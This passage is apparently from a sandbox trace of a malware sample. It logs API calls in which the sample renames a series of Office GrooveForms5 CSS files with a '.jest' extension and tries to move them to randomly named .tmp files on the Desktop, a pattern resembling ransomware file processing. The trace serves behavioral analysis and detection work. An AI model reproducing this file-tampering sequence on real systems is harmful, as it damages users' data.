office\\office14\\1033\\grooveforms5\\formsstyles\\beige.css.jest")) returned 1 [0162.621] GetLastError () returned 0x0 [0162.621] VarBstrFromR4 (in: fltIn=0x47945623, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.27") returned 0x0 [0162.622] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Beige.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\beige.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1bdXor39ofIdbZXyqD6frHYiA1KgetT emDh52pSnW-8Z2lyfT8GFi_8hmIEx6VXnluEKVY7xJ0X9mz6cGqRM3WaPpFLOpxaOb0pD.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1bdxor39ofidbzxyqd6frhyia1kgett emdh52psnw-8z2lyft8gfi_8hmiex6vxnluekvy7xj0x9mz6cgqrm3wappflopxaob0pd.tmp")) returned 0 [0162.622] GetLastError () returned 0x2 [0162.623] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.624] GetLastError () returned 0x0 [0162.624] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.624] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay.css.jest")) returned 1 [0162.625] GetLastError () returned 0x0 [0162.626] VarBstrFromR4 (in: fltIn=0x47945625, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.29") returned 0x0 [0162.626] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HCPNsyfwjoWZzqzKL_ZJwDPsojFzxciwzsyFI 26qqjpNjJKuhm32QKSOT4ZNVw3qfxmdrZ8_HWLVkgNQKIw8mEwALap5y373Eks.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hcpnsyfwjowzzqzkl_zjwdpsojfzxciwzsyfi 26qqjpnjjkuhm32qksot4znvw3qfxmdrz8_hwlvkgnqkiw8mewalap5y373eks.tmp")) returned 0 [0162.627] GetLastError () returned 0x2 [0162.627] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.627] GetLastError () returned 0x0 [0162.627] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.628] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange.css.jest")) returned 1 [0162.629] GetLastError () returned 0x0 [0162.629] VarBstrFromR4 (in: fltIn=0x47945625, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.29") returned 0x0 [0162.630] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rkBkNGDq2tWLHUKBD 0eR_HZEbd46jjxMi0eLzXz8DhDlxFJtr M4CP9T7Qzg2zpfJza6Q_axPxeZ6x_PBPeXGAVQo9rA3d_q2kf.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rkbkngdq2twlhukbd 0er_hzebd46jjxmi0elzxz8dhdlxfjtr m4cp9t7qzg2zpfjza6q_axpxez6x_pbpexgavqo9ra3d_q2kf.tmp")) returned 0 [0162.630] GetLastError () returned 0x2 [0162.630] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.630] GetLastError () returned 0x0 [0162.631] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.631] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow.css.jest")) returned 1 [0162.632] GetLastError () returned 0x0 [0162.633] VarBstrFromR4 (in: fltIn=0x47945625, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.29") returned 0x0 [0162.633] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QYi0WSj2Hj_lsOelkuShVFCn2d-tlObhMdZUt32K6VYl6KSq543pqtx0lL7td47jjwIKejE6jEiDcLkUlEIEmAFp24othidnXeaA.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qyi0wsj2hj_lsoelkushvfcn2d-tlobhmdzut32k6vyl6ksq543pqtx0ll7td47jjwikeje6jeidclkuleiemafp24othidnxeaa.tmp")) returned 0 [0162.634] GetLastError () returned 0x2 [0162.634] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.634] GetLastError () returned 0x0 [0162.634] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.636] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Casual.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\casual.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Casual.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\casual.css.jest")) returned 1 [0162.637] GetLastError () returned 0x0 [0162.638] VarBstrFromR4 (in: fltIn=0x47945625, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.29") returned 0x0 [0162.639] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Casual.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\casual.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l5Jkyluh-orbixLfag7Q9rPvl54Ef5S7ij4CG0zERBtFs3A-In6zh8U2lsZs_JdWUu aPmUEHbw4jynxCz47KHMkgw42UFTzBOu5H.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l5jkyluh-orbixlfag7q9rpvl54ef5s7ij4cg0zerbtfs3a-in6zh8u2lszs_jdwuu apmuehbw4jynxcz47khmkgw42uftzbou5h.tmp")) returned 0 [0162.639] GetLastError () returned 0x2 [0162.639] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.639] GetLastError () returned 0x0 [0162.639] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.640] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert.css.jest")) returned 1 [0162.641] GetLastError () returned 0x0 [0162.641] VarBstrFromR4 (in: fltIn=0x47945627, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.3") returned 0x0 [0162.642] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XTZsq1c0hXGu1GziPZ1VK7xKUxusaHHu3wmh9TdTmLDOb0wXVJqT4WLXySQ47I5-fUd3bt9Ha2IRQFt E82rpppmXjUPpZO1pA68.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xtzsq1c0hxgu1gzipz1vk7xkuxusahhu3wmh9tdtmldob0wxvjqt4wlxysq47i5-fud3bt9ha2irqft e82rpppmxjuppzo1pa68.tmp")) returned 0 [0162.642] GetLastError () returned 0x2 [0162.642] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.642] GetLastError () returned 0x0 [0162.642] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.643] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Discussion.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\discussion.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Discussion.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\discussion.css.jest")) returned 1 [0162.644] GetLastError () returned 0x0 [0162.644] VarBstrFromR4 (in: fltIn=0x47945627, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.3") returned 0x0 [0162.645] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Discussion.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\discussion.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\R2QOy8g4l5oCNcmWG6umM8A5xWBSmgvMb6R7 xGub3DEp0cuuH45bC8Hz9OQzCATTpT6 ddRof3arP3giufiQ6cKi0pvkEmN1ZL.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\r2qoy8g4l5ocncmwg6umm8a5xwbsmgvmb6r7 xgub3dep0cuuh45bc8hz9oqzcattpt6 ddrof3arp3giufiq6cki0pvkemn1zl.tmp")) returned 0 [0162.645] GetLastError () returned 0x2 [0162.645] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.645] GetLastError () returned 0x0 [0162.645] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.646] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Earthy.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\earthy.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Earthy.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\earthy.css.jest")) returned 1 [0162.647] GetLastError () returned 0x0 [0162.647] VarBstrFromR4 (in: fltIn=0x47945627, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.3") returned 0x0 [0162.648] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Earthy.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\earthy.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dC2e8zTqzoTFKB3iPc4tXDdDq3xGZgjcb5j-EADNJQLaf 783tuttvD2 9ng3EOwSzrlu_N fu5o5EwrcQJdiQAIUOKBk-md7sGgN.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dc2e8ztqzotfkb3ipc4txdddq3xgzgjcb5j-eadnjqlaf 783tuttvd2 9ng3eowszrlu_n fu5o5ewrcqjdiqaiuokbk-md7sggn.tmp")) returned 0 [0162.648] GetLastError () returned 0x2 [0162.650] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.650] GetLastError () returned 0x0 [0162.650] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.651] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck.css.jest")) returned 1 [0162.652] GetLastError () returned 0x0 [0162.652] VarBstrFromR4 (in: fltIn=0x47945627, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.3") returned 0x0 [0162.653] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LQuM6uLdpNxP-MSSZO7b5tnb7DpwUywdS6Xbl vnut9qJV_2e4xKs985ChR5KNBXz4AucFCghJNutZ3 WaTmIjU_J _x-3pYF2cp.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lqum6uldpnxp-msszo7b5tnb7dpwuywds6xbl vnut9qjv_2e4xks985chr5knbxz4aucfcghjnutz3 watmiju_j _x-3pyf2cp.tmp")) returned 0 [0162.653] GetLastError () returned 0x2 [0162.653] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.653] GetLastError () returned 0x0 [0162.653] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.654] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GreenTea.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\greentea.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GreenTea.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\greentea.css.jest")) returned 1 [0162.655] GetLastError () returned 0x0 [0162.656] VarBstrFromR4 (in: fltIn=0x47945629, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.32") returned 0x0 [0162.657] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GreenTea.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\greentea.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LlIfNzye2sPGGFOtEk7qzIJDs7OrcnCyWdQnWl_fSWUAl6BWHg2IcgwnC78dhFXZ_trFXylg4OLLuptHB0vwWGIAeGomFgsntMUS.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\llifnzye2spggfotek7qzijds7orcncywdqnwl_fswual6bwhg2icgwnc78dhfxz_trfxylg4ollupthb0vwwgiaegomfgsntmus.tmp")) returned 0 [0162.657] GetLastError () returned 0x2 [0162.657] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.658] GetLastError () returned 0x0 [0162.658] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.658] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\LightSpirit.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lightspirit.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\LightSpirit.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lightspirit.css.jest")) returned 1 [0162.659] GetLastError () returned 0x0 [0162.660] VarBstrFromR4 (in: fltIn=0x47945629, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.32") returned 0x0 [0162.660] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\LightSpirit.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lightspirit.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LKuPfN__DQQ6QAC zMrr3UWPoPN0tgpinhIUGygFm-_9cXmRCtR0RZIKNZl IpLWf2Y2K_0422vK3xzF8 z4BTj2BtY9Gv5WWDHv.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lkupfn__dqq6qac zmrr3uwpopn0tgpinhiugygfm-_9cxmrctr0rziknzl iplwf2y2k_0422vk3xzf8 z4btj2bty9gv5wwdhv.tmp")) returned 0 [0162.660] GetLastError () returned 0x2 [0162.661] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.661] GetLastError () returned 0x0 [0162.661] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.662] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime.css.jest")) returned 1 [0162.662] GetLastError () returned 0x0 [0162.663] VarBstrFromR4 (in: fltIn=0x47945629, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.32") returned 0x0 [0162.663] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pa5FX3NKgIzTT5zmZic6DG8yJVZuQnKeqgzm4TS8I800iK1CshgybvI1z-OgV-2F4JMSCznAV6vS khJD2-AwGFIVOmBTDIkGYVt.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pa5fx3nkgiztt5zmzic6dg8yjvzuqnkeqgzm4ts8i800ik1cshgybvi1z-ogv-2f4jmscznav6vs khjd2-awgfivombtdikgyvt.tmp")) returned 0 [0162.664] GetLastError () returned 0x2 [0162.664] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.664] GetLastError () returned 0x0 [0162.664] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.664] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Maroon.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\maroon.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Maroon.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\maroon.css.jest")) returned 1 [0162.665] GetLastError () returned 0x0 [0162.665] VarBstrFromR4 (in: fltIn=0x47945629, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.32") returned 0x0 [0162.666] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Maroon.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\maroon.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tfc1zZ55kxkUeXsT2Cko2t94B8Vz1SaE41NZnki6C BhQOxCE63bHWk-KIX M82Ip7uMQMt9GtARAEk4Gy4Owdja6_Rri9up2l_Kj.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tfc1zz55kxkuexst2cko2t94b8vz1sae41nznki6c bhqoxce63bhwk-kix m82ip7umqmt9gtaraek4gy4owdja6_rri9up2l_kj.tmp")) returned 0 [0162.666] GetLastError () returned 0x2 [0162.667] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.667] GetLastError () returned 0x0 [0162.667] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.667] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis.css"), lpNewFileName="C:\\Program Files\\Microsoft 